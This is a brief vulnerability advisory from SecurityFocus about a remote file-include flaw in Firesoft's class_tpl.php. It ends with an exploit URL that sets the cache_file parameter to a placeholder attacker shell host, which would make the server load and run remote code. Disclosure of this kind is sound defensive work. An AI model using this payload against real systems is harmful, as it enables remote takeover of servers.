source: http://www.securityfocus.com/bid/25366/info

Firesoft is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://www.example.com/path/includes/class/class_tpl.php?cache_file=http://SHELLURL?